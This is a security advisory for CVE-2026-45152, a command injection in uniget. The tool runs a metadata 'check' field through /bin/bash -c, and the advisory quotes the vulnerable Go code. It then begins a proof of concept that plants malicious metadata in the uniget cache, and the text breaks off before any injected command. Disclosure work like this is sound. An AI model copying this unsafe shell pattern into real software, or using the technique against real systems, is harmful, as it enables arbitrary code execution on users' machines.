CVE-2026-45152
I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. ### Summary A command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. ### Details The vulnerable code is located in: `tool.go:250` Vulnerable function: ```go id="f2g0ic" func (tool *Tool) RunVersionCheck() (string, error) { cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") version, err := cmd.Output() return string(version), nil } ``` The issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation. Related structure: ```go id="7f4yzm" type Tool struct { Check string } ``` Metadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink. Because `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection. ### PoC Step 1 — Verify the vulnerable binary: ```bash id="7k3d07" /tmp/uniget-bin --version ``` Output: ```text id="p2gk9z" uniget version main ``` Step 2 — Create malicious metadata cache: ```bash id="j5zpr0" mkdir -p ~/.local/var/cache/uniget cat > ~/.local/var/cache/uniget/metadata.json << 'EOF' { "tools": [ { "name": "evil-tool", "version": "1.0.0", "binary": "${target}/bin/evil-tool", "check":
Properties
- severity
- high
- summary
- uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution
- epss_score
- 0.00715
- cvss_score
- 7.8
- ghsa_published
- 2026-05-13T15:33:10Z
- source_url
- https://github.com/advisories/GHSA-qqq4-5773-pmw5
- ghsa_updated
- 2026-05-13T15:33:13Z
- ghsa_id
- GHSA-qqq4-5773-pmw5
- cve_id
- CVE-2026-45152
- cvss_vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- is_ghsa_only
- false
- epss_percentile
- 0.50382
Related Entities (5)
ENRICHED_BY (1)
VULNERABLE_TO (1)
AFFECTS (1)
HAS_WEAKNESS (1)
REPORTED_BY (1)
Explore deeper with Ninja Signal's threat intelligence graph